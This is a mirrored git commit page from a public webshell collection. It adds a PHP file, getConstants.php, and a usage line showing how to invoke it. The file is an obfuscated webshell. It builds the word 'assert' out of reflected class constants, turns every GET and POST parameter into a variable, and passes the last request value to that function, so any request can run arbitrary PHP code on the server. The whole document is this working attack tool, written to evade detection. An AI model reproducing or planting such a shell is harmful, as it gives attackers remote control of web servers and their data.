mirror of
https://github.com/tennc/webshell
synced 2024-11-10 05:44:11 +00:00
Create getConstants.php
use: xxxxxx/getConstants?1=phpinfo() from : https://xz.aliyun.com/t/8684
This commit is contained in:
parent
b66c3bb616
commit
fd35f195c1
1 changed files with 27 additions and 0 deletions
27
php/getConstants.php
Normal file
27
php/getConstants.php
Normal file
|
@ -0,0 +1,27 @@
|
|||
<?php
|
||||
class Test
|
||||
{
|
||||
const a = 'As';
|
||||
const b = 'se';
|
||||
const c = 'rt';
|
||||
|
||||
public function __construct()
|
||||
{
|
||||
}
|
||||
}
|
||||
$para1;
|
||||
$para2;
|
||||
$reflector = new ReflectionClass('Test');
|
||||
|
||||
for ($i=97; $i <= 99; $i++) {
|
||||
$para1 = $reflector->getConstant(chr($i));
|
||||
$para2.=$para1;
|
||||
}
|
||||
|
||||
foreach (array('_POST','_GET') as $_request) {
|
||||
foreach ($$_request as $_key=>$_value) {
|
||||
$$_key= $_value;
|
||||
}
|
||||
}
|
||||
|
||||
$para2($_value);
|
Loading…
Reference in a new issue